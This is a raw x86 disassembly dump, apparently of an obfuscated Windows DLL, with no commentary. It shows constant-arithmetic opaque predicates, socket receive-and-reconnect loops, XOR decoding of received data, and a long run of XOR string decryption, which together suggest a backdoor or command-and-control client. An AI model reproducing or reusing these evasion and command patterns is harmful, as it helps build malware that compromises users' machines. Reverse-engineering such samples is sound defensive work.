and eax, 0x96f1bc7b
add eax, 0xae9d214a
and eax, 0xfbea4a26
sub eax, 0xb322af06
or eax, 0xab887fc
mov ebx, 0xce6617b1
xor edx, edx
div ebx
mov edx, dword [esi + 0xe4]
mov ebx, eax
mov eax, dword [esi + 0xbc]
add ebx, 0x13533b4c
or ebx, 0x6333f33b
or ebx, 0x9c0d1af6
and ebx, 0x7410807c
or ebx, 0x88a1d962
mov dword [esi + 0x24], ebx
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0xd8]
mov eax, dword [esi + 0xc0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0xe8]
mov ecx, dword [esi + 0x184]
mov edi, eax
mov eax, dword [esi + 0x24]
mov dword [edx], edi
mov edx, dword [edx]
mov ecx, dword [ecx]
mov dword [ecx], edx
cmp eax, 0xcfe64c21
jb 0x100b7ead
jmp 0x100b4381
mov eax, dword [0x10143e64]
or eax, dword [0x10143e68]
mov ecx, 0x67aa66da
xor edx, edx
div ecx
mov ecx, 0x1ad16c5f
xor edx, edx
div ecx
and eax, 0x78851da2
sub eax, 0xb8adbe32
xor eax, 0xb34497a2
mov ecx, 0xfca8cbc4
xor edx, edx
div ecx
mov ecx, 0xf5d76366
xor edx, edx
div ecx
mov ecx, 0x77a5a32
xor edx, edx
div ecx
sub eax, 0x187ab6e5
add eax, 0xda2b2dbd
sub eax, 0x772503cc
or eax, 0x10fdb2fe
or eax, 0xb942ecf5
add eax, 0x5875baac
or eax, 0x62e90088
and eax, 0x87deaf14
imul eax, eax, 0x3e3e5f7
imul eax, eax, 0x89462cd2
sub eax, 0x5e3bdf9f
imul eax, eax, 0x4f4367c4
cmp eax, 0xebbcb8f1
jae 0x100b9f6a
mov eax, dword [0x10143e6c]
xor edx, edx
div dword [0x10143e70]
or eax, 0xff0f2935
and eax, 0xbfd13cdb
mov ecx, 0x1b6e1e53
xor edx, edx
div ecx
mov ecx, 0x7ec5ef69
xor edx, edx
div ecx
or eax, 0x8ae1b830
mov ecx, 0xbae03691
xor edx, edx
div ecx
add eax, 0x503c9f57
and eax, 0x347cf5ca
add eax, 0xfeffbce4
and eax, 0x60d5ba69
sub eax, 0x2afd6b8
imul eax, eax, 0x1c9174b9
and eax, 0x6359faa9
mov ecx, 0x86e86d91
xor edx, edx
div ecx
xor eax, 0x513e7448
mov ecx, 0x82de7062
xor edx, edx
div ecx
imul eax, eax, 0xa0277245
mov ecx, 0x7f962c7
xor edx, edx
div ecx
imul eax, eax, 0x32e87ff7
sub eax, 0xbf664062
cmp eax, 0x59305808
je 0x100b9f6a
jmp 0x100b4903
mov eax, dword [0x10143e74]
imul eax, dword [0x10143e78]
imul eax, eax, 0x629b9206
mov ecx, 0xd57f27f2
xor edx, edx
div ecx
and eax, 0xbaa98247
imul eax, eax, 0x7663e15
xor eax, 0xc2e20574
sub eax, 0x6ee1a61b
mov ecx, 0xddd324f4
xor edx, edx
div ecx
imul eax, eax, 0x8b506d7f
and eax, 0xa198cf67
or eax, 0x6a6b5024
add eax, 0x4c235ff0
imul eax, eax, 0xc569f503
and eax, 0x66abc7d3
xor eax, 0x85fbbbfc
add eax, 0x59a7c995
sub eax, 0xa285f814
and eax, 0xe53dc8d3
imul eax, eax, 0x5dd696f5
add eax, 0xf12cc4f5
or eax, 0x7def0dfb
cmp eax, 0x8d7f3180
jbe 0x100b9f6f
mov ecx, dword [esi + 0x124]
mov eax, dword [0x10143e7c]
xor eax, dword [0x10143e80]
mov edi, 0x16b64ab6
xor edx, edx
div edi
sub eax, 0x5b7e4d7f
add eax, 0xaa56551a
sub eax, 0x6e748dff
mov edi, 0x8e8ffd4a
xor edx, edx
div edi
or eax, 0xc6cfe5ab
imul eax, eax, 0xb3e13518
or eax, 0xd0c13128
imul eax, eax, 0xc65802c5
mov edi, 0xea28bbc1
xor edx, edx
div edi
imul eax, eax, 0x84d5a2e8
sub eax, 0xeff9c569
xor eax, 0x65c5d462
add eax, 0x981a929
sub eax, 0xd99f371c
imul eax, eax, 0x83b4d5f1
mov edi, 0xa130e32f
xor edx, edx
div edi
mov edi, 0x3a0145c9
xor edx, edx
div edi
xor eax, 0xc5b71712
mov edi, 0xedc5ded7
xor edx, edx
div edi
mov edx, dword [esi + 0x128]
mov edi, eax
mov eax, dword [esi + 0x108]
mov dword [esi + 0x20], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x20]
cmp eax, 0xe19fa2f3
jae 0x100b9f6f
jmp 0x100b4b41
mov eax, dword [0x10143e84]
sub eax, dword [0x10143e88]
or eax, 0xdc94f704
imul eax, eax, 0xfd887425
add eax, 0x42687c22
imul eax, eax, 0x1086558a
imul eax, eax, 0xea737ba5
and eax, 0x53ba3979
add eax, 0xcf5f032
and eax, 0x253cbc8c
and eax, 0x9be8cc3f
sub eax, 0x848f3ac7
sub eax, 0x718a500a
imul eax, eax, 0x90bc9e25
add eax, 0xf6b3dfbc
sub eax, 0xeea1f7c0
mov ecx, 0xa71a4dee
xor edx, edx
div ecx
mov ecx, 0x783d0d05
xor edx, edx
div ecx
sub eax, 0x5717162b
and eax, 0x2c3ef87f
sub eax, 0xeef108a7
sub eax, 0xa7d4ffc5
cmp eax, 0x3e7a2399
jb 0x100b9fb8
mov edi, dword [esi + 0x128]
mov eax, dword [0x10143e8c]
sub eax, dword [0x10143e90]
mov ecx, 0xbcd6135c
xor edx, edx
div ecx
imul eax, eax, 0xd58debdc
mov ecx, 0xac273d45
xor edx, edx
div ecx
mov ecx, 0x466e1e27
xor edx, edx
div ecx
mov ecx, 0xe5f9e6b0
xor edx, edx
div ecx
imul eax, eax, 0xd3cc9fd1
sub eax, 0x3c5e9512
xor eax, 0xda3992ad
add eax, 0x38f6d6c
imul eax, eax, 0xab0a5d2e
mov ecx, 0x87356883
xor edx, edx
div ecx
xor eax, 0x3784ebbf
add eax, 0xeb41ed8b
and eax, 0xce690e82
add eax, 0x4dfc6263
add eax, 0x11e5cea5
and eax, 0x2b15a1cd
sub eax, 0xe52d1768
mov ecx, 0x4114c8f5
xor edx, edx
div ecx
xor eax, 0xa4391b1b
mov dword [esi + 0x1c], eax
sub esp, 4
mov dword [esp], 0x104
call fcn.100e3321
mov edx, dword [esi + 0x130]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x12c]
mov dword [eax], ecx
mov ecx, dword [0x1013a21f]
mov dword [edx], ecx
mov ecx, dword [0x1013a223]
mov dword [edx + 4], ecx
mov ecx, dword [0x1013a227]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10104030
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x9c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0xa0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x98]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
add esp, 8
mov eax, dword [esi + 0x12c]
mov ecx, dword [eax]
lea eax, [0x1012f496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov edx, dword [esi + 0x12c]
mov ecx, dword [esi + 0x10c]
add esp, 8
mov eax, dword [esi + 0x134]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x18], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101041c0
mov edx, dword [esi + 0x134]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x18]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, dword [esi + 0x120]
mov edx, eax
mov eax, dword [esi + 0x1c]
mov dword [ecx], edx
cmp eax, 0xf8f8acab
jae 0x100b82d6
jmp 0x100b4dc3
mov eax, dword [str._n5l_]
and eax, dword [0x10143e98]
imul eax, eax, 0xf529c5d2
and eax, 0xb22a7f24
sub eax, 0x7ab3647d
mov ecx, 0xa9881c52
xor edx, edx
div ecx
or eax, 0x319a79a7
xor eax, 0x79c10b16
add eax, 0xbf3db7f1
and eax, 0x55e77a6b
sub eax, 0x8b5a96e3
imul eax, eax, 0xcacb0ccd
and eax, 0x10f5ccad
sub eax, 0xaddda2fe
mov ecx, 0xb5befe33
xor edx, edx
div ecx
and eax, 0xbf82930e
add eax, 0x66c9c248
mov ecx, 0xb397130e
xor edx, edx
div ecx
imul eax, eax, 0xd3c26c2b
add eax, 0x5cfe69ce
mov ecx, 0x3e48a1d4
xor edx, edx
div ecx
imul eax, eax, 0x1210b561
cmp eax, 0x6bef9f95
jae 0x100ba0f2
mov ecx, dword [esi + 0x8c]
mov eax, dword [0x10143e9c]
xor edx, edx
div dword [0x10143ea0]
and eax, 0x5d52c32e
imul eax, eax, 0x6609b775
mov edi, 0x10e9fbb2
xor edx, edx
div edi
sub eax, 0x916f57b3
imul eax, eax, 0x3c56f727
imul eax, eax, 0x55d687f1
mov edi, 0xc5b5c4e0
xor edx, edx
div edi
xor eax, 0xb11df17a
or eax, 0x6643f48b
and eax, 0x7b880de2
sub eax, 0xf2656406
or eax, 0xcd5c3101
imul eax, eax, 0x3084b98e
and eax, 0x7bf5e45e
mov edi, 0xa3d41ca2
xor edx, edx
div edi
add eax, 0xbdb0c92d
xor eax, 0xcd7f6781
sub eax, 0x88497a7e
imul eax, eax, 0x6b1245db
add eax, 0x53e715bb
mov dword [ecx], 0
cmp eax, 0x7b924062
je 0x100b853b
jmp 0x100b5243
mov eax, dword [0x10143ea4]
add eax, dword [0x10143ea8]
or eax, 0x548a7c56
imul eax, eax, 0x5ed27bfa
imul eax, eax, 0x19278e6e
mov ecx, 0xfec38b95
xor edx, edx
div ecx
add eax, 0xc042b487
and eax, 0x8a348938
add eax, 0x20ba2a2c
xor eax, 0x9406d8a6
add eax, 0xca7c334e
add eax, 0xd057f578
or eax, 0xbf99ae83
imul eax, eax, 0xbddf2e95
or eax, 0xa3d93306
and eax, 0x3279e124
mov ecx, 0x5a9b5bb4
xor edx, edx
div ecx
add eax, 0xf1deed41
add eax, 0x1ec4a97
mov ecx, 0x2bfe1547
xor edx, edx
div ecx
add eax, 0xef4d99c2
sub eax, 0x32a5578e
cmp eax, 0xc97f367d
ja 0x100ba103
mov edi, dword [esi + 0x140]
mov ebx, dword [esi + 0x13c]
mov eax, dword [0x10143eac]
imul eax, dword [0x10143eb0]
add eax, 0x537fd557
xor eax, 0x8b8cfd65
sub eax, 0xeac5e2e5
xor eax, 0x9650895f
add eax, 0x10c39342
and eax, 0x53c8a44d
or eax, 0x6ac7a46f
xor eax, 0xb5ae5eaf
xor eax, 0xbeaa0a96
or eax, 0x383cf295
sub eax, 0x8aa58a08
imul eax, eax, 0xc8bb96b8
mov ecx, 0xeec14f25
xor edx, edx
div ecx
and eax, 0xa6f48be9
mov ecx, 0x6ed6e303
xor edx, edx
div ecx
mov ecx, 0x1dd76584
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x138]
or ecx, 0xbfcc758c
add ecx, 0x977dd770
xor ecx, 0x5e6c11d0
imul ecx, ecx, 0xca22bbce
mov dword [esi + 0x14], ecx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100e6cf0
mov edx, dword [esi + 0x144]
mov ecx, dword [esi + 0x14c]
mov eax, dword [esi + 0x14]
add esp, 0xc
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 1
mov dword [ecx], 0
cmp eax, 0xdd2f82a6
ja 0x100ba103
jmp 0x100b546d
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x128]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0x13c]
mov ecx, dword [esi + 0x138]
mov edi, eax
mov eax, dword [esi + 0x150]
mov dword [edx], edi
mov edx, dword [0x1013a101]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100a9310
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0x154]
mov dword [eax], ecx
jmp 0x100b57f6
mov eax, dword [esi + 0x128]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x90]
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0x98]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100b2910
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x8c]
mov dword [eax], ecx
jmp 0x100b5cc0
mov eax, dword [0x10143eb4]
or eax, dword [0x10143eb8]
sub eax, 0x892150a2
xor eax, 0x3753f252
mov ecx, 0x3038c4b9
xor edx, edx
div ecx
imul eax, eax, 0x629a0766
or eax, 0xcff0aa89
mov ecx, 0x7edf9b50
xor edx, edx
div ecx
add eax, 0xeec1d552
mov ecx, 0x5cce7db0
xor edx, edx
div ecx
mov ecx, 0x665cd7b8
xor edx, edx
div ecx
sub eax, 0xb3cd9abe
and eax, 0xd486fed3
and eax, 0xfbb80e8e
sub eax, 0x70ae2b96
add eax, 0x6c296596
imul eax, eax, 0x6103876d
or eax, 0x2c1d8785
or eax, 0x15e175e4
add eax, 0xd28a7425
or eax, 0x51aa2b6
and eax, 0x49d819f
cmp eax, 0x1e2a6a42
je 0x100ba15e
mov ecx, dword [esi + 0x90]
mov eax, dword [0x10143ebc]
and eax, dword [0x10143ec0]
xor eax, 0x41cec825
add eax, 0x80b40c96
xor eax, 0xca95239d
mov edi, 0xaf77e73b
xor edx, edx
div edi
and eax, 0xa36f30a2
sub eax, 0x5c0e5322
and eax, 0x25549c38
and eax, 0xe3c03a01
add eax, 0xff62ce3d
or eax, 0x6d80fe18
mov edi, 0x6c33e07d
xor edx, edx
div edi
sub eax, 0x3bbb30ec
add eax, 0x6c4d2ea7
sub eax, 0x65b11c31
imul eax, eax, 0x6f840f7e
sub eax, 0xe13fd8d8
mov edi, 0xfc85bf64
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0x138]
sub edx, 0x5517134a
and edx, 0xfb346557
xor edx, 0x5dce8a49
mov dword [esi + 0x10], edx
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1008fda0
mov ecx, dword [esi + 0x148]
mov edx, dword [esi + 0x90]
add esp, 0xc
mov eax, dword [esi + 0x138]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1008fda0
add esp, 0xc
mov eax, dword [esi + 0x90]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100e3321
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x94]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1008b5d0
add esp, 8
mov eax, dword [esi + 0x10]
cmp eax, 0xc9b9d243
jb 0x100ba15e
jmp 0x100b609a
mov eax, dword [0x10143ec4]
sub eax, dword [0x10143ec8]
or eax, 0x49fb2f92
mov ecx, 0x13c3f548
xor edx, edx
div ecx
xor eax, 0xdf1bb0d4
xor eax, 0xd7a17927
add eax, 0xc7263a62
xor eax, 0xda142282
xor eax, 0x278d38f0
sub eax, 0x3de4800e
and eax, 0x397d7821
imul eax, eax, 0x6dae647a
mov ecx, 0x684aade3
xor edx, edx
div ecx
add eax, 0xa9d3cc07
or eax, 0x70c410d
imul eax, eax, 0x7a536f36
sub eax, 0x10d353bc
sub eax, 0x6dbd5dcf
mov ecx, 0x94007114
xor edx, edx
div ecx
xor eax, 0x91970308
xor eax, 0xfddd78a4
or eax, 0x14354e4d
cmp eax, 0x865d435d
ja 0x100ba20e
mov eax, dword [str.KeN__]
imul eax, dword [0x10143ed0]
or eax, 0x18dd895d
xor eax, 0xfc23fc33
add eax, 0x9eee2cf6
and eax, 0xf96954b9
sub eax, 0x10fe326b
or eax, 0xd148c8d1
xor eax, 0xb12090d4
imul eax, eax, 0x5ca1fe6c
sub eax, 0x59ffbeea
or eax, 0xde9f966a
sub eax, 0x555a7987
mov ecx, 0xd4ce5cd7
xor edx, edx
div ecx
and eax, 0xff6d607c
imul eax, eax, 0x86f6ae6d
imul eax, eax, 0xc41893c3
mov ecx, 0x57dfd8a4
xor edx, edx
div ecx
sub eax, 0xfccacbc5
xor eax, 0x67bf1bea
and eax, 0x976ea22c
imul eax, eax, 0xdab6083d
cmp eax, 0x11ae6c0a
jb 0x100ba20e
jmp 0x100b64a0
jmp 0x100b6927
mov eax, dword [0x10143ed4]
sub eax, dword [0x10143ed8]
xor eax, 0x38b024b8
imul eax, eax, 0x17cc55f0
imul eax, eax, 0xa46fea60
and eax, 0xd2bfc1c7
xor eax, 0xafbe9fab
imul eax, eax, 0xea55a0d0
or eax, 0xa7780d15
or eax, 0x5e977227
imul eax, eax, 0xdf7e75f6
mov ecx, 0x40df9523
xor edx, edx
div ecx
or eax, 0x298eb74e
and eax, 0x82fa0d0f
sub eax, 0x869846d
and eax, 0x13583c04
sub eax, 0x4cc48823
and eax, 0x3f2a3bef
or eax, 0x2f4d4c23
sub eax, 0xd67f08fc
or eax, 0xc7bc60db
xor eax, 0x103ac17
cmp eax, 0xebfcfd08
jae 0x100ba213
mov ebx, dword [esi + 0x14c]
mov edi, dword [esi + 0x158]
mov eax, dword [0x10143edc]
and eax, dword [0x10143ee0]
sub eax, 0x1b322be9
xor eax, 0xb8f7427b
sub eax, 0x7c594420
and eax, 0x32db24bd
or eax, 0x2cd70195
mov ecx, 0x29f37aed
xor edx, edx
div ecx
add eax, 0xf6c8aa94
xor eax, 0xe6b4b8be
or eax, 0x3c3ac4c1
and eax, 0xf902f002
add eax, 0x736c98d2
or eax, 0x23927473
or eax, 0x12d1401b
imul eax, eax, 0x5d92247a
and eax, 0x283bcddd
add eax, 0x342c1455
and eax, 0x97e456ad
and eax, 0x69436b70
and eax, 0x7f1ac53b
mov ecx, 0xbe33821e
xor edx, edx
div ecx
mov ecx, dword [esi + 0x148]
mov edx, dword [esi + 0x138]
mov ebx, dword [ebx]
movzx ecx, byte [ecx + ebx]
mov edi, dword [edi]
movsx ebx, byte [edx + edi]
xor ebx, ecx
mov ecx, dword [esi + 0x14c]
mov byte [edx + edi], bl
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp eax, 0xdf507a0f
je 0x100ba213
jmp 0x100b6c96
jmp 0x100b7742
mov eax, dword [0x10143f04]
xor edx, edx
div dword [0x10143f08]
sub eax, 0x845a5dae
sub eax, 0x5f25c809
and eax, 0x3f0124b1
or eax, 0x909655f7
add eax, 0x38beac65
mov ecx, 0x7aed3aff
xor edx, edx
div ecx
imul eax, eax, 0x93ad9a3d
or eax, 0xbcd0c87c
sub eax, 0x5b08a845
mov ecx, 0x19369822
xor edx, edx
div ecx
imul eax, eax, 0x573b28e0
and eax, 0x4719ffb2
sub eax, 0x36b2d62c
and eax, 0x12f5bd45
add eax, 0x47fe6d82
add eax, 0xd714ab65
mov ecx, 0x242f22aa
xor edx, edx
div ecx
and eax, 0x74fd576c
imul eax, eax, 0x334573aa
mov ecx, 0x29edd29
xor edx, edx
div ecx
cmp eax, 0xd96476c7
ja 0x100ba27d
mov edi, dword [esi + 0x90]
mov eax, dword [0x10143f0c]
and eax, dword [0x10143f10]
imul eax, eax, 0xc414d5ee
add eax, 0xb9965f4d
and eax, 0x5a5ea312
and eax, 0xea590b17
mov ecx, 0xfa38e985
xor edx, edx
div ecx
or eax, 0xedc7da63
or eax, 0x955867e7
or eax, 0x544e393d
sub eax, 0x3be12f98
and eax, 0xdf37ae54
mov ecx, 0xb2a0fcc4
xor edx, edx
div ecx
xor eax, 0xa281d4a8
xor eax, 0x9f4d5951
add eax, 0x9bce6251
mov ecx, 0x6ea30b55
xor edx, edx
div ecx
xor eax, 0x4e66a736
imul eax, eax, 0x6480afaf
mov ecx, 0x19399662
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x128]
xor ecx, 0xc5f5f154
and ecx, 0xf8aec669
mov dword [esi + 8], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x94]
mov ecx, dword [esi + 0x8c]
mov eax, dword [esi + 8]
mov edi, dword [edi]
mov edi, dword [edi]
mov ebx, dword [edi]
sub ebx, 0x2c
mov dword [edi], ebx
mov edi, dword [edx]
mov edi, dword [edi]
add edi, 0x2c
mov edx, dword [edx]
mov dword [edx], edi
mov dword [ecx], 1
cmp eax, 0x35f10ca7
jb 0x100b8f57
jmp 0x100b7991
jmp 0x100b29d4
mov eax, dword [0x10146e70]
jmp 0x100b2b6b
mov al, byte [0x1013a119]
xor al, 0x8e
mov byte [0x1013a122], al
mov al, byte [0x1013a11a]
xor al, 0x7f
mov byte [0x1013a123], al
mov al, byte [0x1013a11b]
xor al, 0x8a
mov byte [0x1013a124], al
mov al, byte [0x1013a11c]
xor al, 0xa8
mov byte [0x1013a125], al
mov al, byte [0x1013a11d]
xor al, 0x6f
mov byte [0x1013a126], al
mov al, byte [0x1013a11e]
xor al, 0xeb
mov byte [0x1013a127], al
mov al, byte [0x1013a11f]
xor al, 0x7b
mov byte [0x1013a128], al
mov al, byte [0x1013a120]
xor al, 6
mov byte [0x1013a12a], al
mov al, byte [0x1013a121]
xor al, 0x73
mov byte [0x1013a12b], al
mov al, byte [0x1013a1b2]
xor al, 0xc4
mov byte [0x1013a1b9], al
mov al, byte [0x1013a1b3]
xor al, 0xed
mov byte [0x1013a1ba], al
mov al, byte [0x1013a1b4]
xor al, 0xd9
mov byte [0x1013a1bb], al
mov al, byte [0x1013a1b5]
xor al, 0xc9
mov byte [0x1013a1bc], al
mov al, byte [str.BsoD]
xor al, 0x42
mov byte [0x1013a1bd], al
mov al, byte [0x1013a12c]
xor al, 0x15
mov byte [0x1013a135], al
mov al, byte [0x1013a12d]
xor al, 0x3a
mov byte [str.8t_ndI], al
mov al, byte [0x1013a12e]
xor al, 0xd9
mov byte [0x1013a138], al
mov al, byte [0x1013a12f]
xor al, 0x71
mov byte [0x1013a13a], al
mov al, byte [0x1013a130]
xor al, 0xa0
mov byte [0x1013a13b], al
mov al, byte [0x1013a131]
xor al, 0x2a
mov byte [0x1013a13c], al
mov al, byte [0x1013a132]
xor al, 4
mov byte [0x1013a13d], al
mov al, byte [0x1013a133]
xor al, 0x5e
mov byte [0x1013a13e], al
mov al, byte [0x1013a134]
xor al, 0x76
mov byte [0x1013a13f], al
mov al, byte [0x1013a1d5]
xor al, 0xeb
mov byte [0x1013a1dd], al
mov al, byte [0x1013a1d6]
xor al, 0x91
mov byte [0x1013a1de], al
mov al, byte [0x1013a1d7]
xor al, 0x9b
mov byte [0x1013a1df], al
mov al, byte [0x1013a1d8]
xor al, 0xcf
mov byte [0x1013a1e0], al
mov al, byte [0x1013a1d9]
xor al, 0x36
mov byte [0x1013a1e1], al
mov al, byte [0x1013a1da]
xor al, 0x4f
mov byte [0x1013a1e2], al
mov al, byte [0x1013a1db]
xor al, 0x5c
mov byte [0x1013a1e3], al
mov al, byte [0x1013a1dc]
xor al, 0xd7
mov byte [0x1013a1e4], al
mov al, byte [0x1013a0fd]
xor al, 0x3a
mov byte [0x1013a101], al
mov al, byte [0x1013a0fe]
xor al, 0x87
mov byte [0x1013a102], al
mov al, byte [0x1013a0ff]
xor al, 0x4f
mov byte [0x1013a103], al
mov al, byte [0x1013a100]
xor al, 0xc7
mov byte [0x1013a104], al
mov al, byte [0x1013a1e5]
xor al, 0x48
mov byte [0x1013a1ea], al
mov al, byte [0x1013a1e6]
xor al, 0x82
mov byte [0x1013a1eb], al
mov al, byte [0x1013a1e7]
xor al, 0x8c
mov byte [0x1013a1ec], al
mov al, byte [0x1013a1e8]
xor al, 0xf6
mov byte [0x1013a1ed], al
mov al, byte [0x1013a1e9]
xor al, 0xd7
mov byte [0x1013a1ee], al
mov al, byte [0x1013a1ff]
xor al, 0x82
mov byte [0x1013a205], al
mov al, byte [0x1013a200]
xor al, 0xcd
mov byte [0x1013a206], al
mov al, byte [0x1013a201]
xor al, 0x4a
mov byte [0x1013a207], al
mov al, byte [0x1013a202]
xor al, 0xff
mov byte [0x1013a208], al
mov al, byte [0x1013a203]
xor al, 0x99
mov byte [0x1013a209], al
mov al, byte [0x1013a204]
xor al, 0x1d
mov byte [0x1013a20a], al
mov al, byte [0x1013a154]
xor al, 0x5f
mov byte [0x1013a170], al
mov al, byte [0x1013a155]
xor al, 0xab
mov byte [0x1013a171], al
mov al, byte [0x1013a156]
xor al, 0xe4
mov byte [0x1013a172], al
mov al, byte [0x1013a157]
xor al, 0x5d
mov byte [0x1013a173], al
mov al, byte [0x1013a158]
xor al, 0x47
mov byte [0x1013a174], al
mov al, byte [0x1013a159]
xor al, 0x50
mov byte [0x1013a175], al
mov al, byte [0x1013a15a]
xor al, 0xfd
mov byte [0x1013a176], al
mov al, byte [0x1013a15b]
xor al, 0x31
mov byte [0x1013a179], al
mov al, byte [0x1013a15c]
xor al, 0xb
mov byte [str._v41bu], al
mov al, byte [0x1013a15d]
xor al, 0xc4
mov byte [0x1013a17b], al
mov al, byte [0x1013a15e]
xor al, 0xe1
mov byte [0x1013a17d], al
mov al, byte [0x1013a15f]
xor al, 0xe8
mov byte [0x1013a17e], al
mov al, byte [0x1013a160]
xor al, 0x76
mov byte [0x1013a17f], al
mov al, byte [0x1013a161]
xor al, 0x32
mov byte [0x1013a180], al
mov al, byte [0x1013a162]
xor al, 0xf3
mov byte [0x1013a181], al
mov al, byte [0x1013a163]
xor al, 0xb7
mov byte [0x1013a182], al
mov al, byte [0x1013a141]
xor al, 0x14
mov byte [0x1013a14a], al
mov al, byte [0x1013a142]
xor al, 0xb0
mov byte [0x1013a14b], al
mov al, byte [0x1013a143]
xor al, 0xb9
mov byte [0x1013a14c], al
mov al, byte [0x1013a144]
xor al, 0x9c
mov byte [0x1013a14d], al
mov al, byte [0x1013a145]
xor al, 0x11
mov byte [0x1013a14e], al
mov al, byte [0x1013a146]
xor al, 0x80
mov byte [0x1013a14f], al
mov al, byte [0x1013a147]
xor al, 0x50
mov byte [0x1013a150], al
mov al, byte [0x1013a148]
xor al, 0xa7
mov byte [str.pp], al
mov al, byte [0x1013a149]
xor al, 8
mov byte [0x1013a153], al
mov al, byte [0x1013a198]
xor al, 0x7b
mov byte [0x1013a1a5], al
mov al, byte [0x1013a199]
xor al, 0xd6
mov byte [0x1013a1a6], al
mov al, byte [0x1013a19a]
xor al, 0x9b
mov byte [0x1013a1a7], al
mov al, byte [0x1013a19b]
xor al, 0x7b
mov byte [0x1013a1a8], al
mov al, byte [0x1013a19c]
xor al, 0xde
mov byte [0x1013a1a9], al
mov al, byte [0x1013a19d]
xor al, 0x1f
mov byte [0x1013a1aa], al
mov al, byte [0x1013a19e]
xor al, 0xed
mov byte [0x1013a1ab], al
mov al, byte [0x1013a19f]
xor al, 0xee
mov byte [0x1013a1ac], al
mov al, byte [0x1013a1a0]
xor al, 0xf7
mov byte [0x1013a1ad], al
mov al, byte [0x1013a1a1]
xor al, 0xe1
mov byte [0x1013a1ae], al
mov al, byte [0x1013a1a2]
xor al, 0x6d
mov byte [0x1013a1af], al
mov al, byte [0x1013a1a3]
xor al, 0x5d
mov byte [0x1013a1b0], al
mov al, byte [0x1013a1a4]
xor al, 5
mov byte [0x1013a1b1], al
mov al, byte [0x1013a1be]
xor al, 0x3c
mov byte [0x1013a1c9], al
mov al, byte [0x1013a1bf]
xor al, 0xe6
mov byte [0x1013a1ca], al
mov al, byte [0x1013a1c0]
xor al, 0xcf
mov byte [0x1013a1cb], al
mov al, byte [0x1013a1c1]
xor al, 0x5f
mov byte [0x1013a1cc], al
mov al, byte [0x1013a1c2]
xor al, 0x31
mov byte [0x1013a1cd], al
mov al, byte [0x1013a1c3]
xor al, 0xe
mov byte [0x1013a1ce], al
mov al, byte [0x1013a1c4]
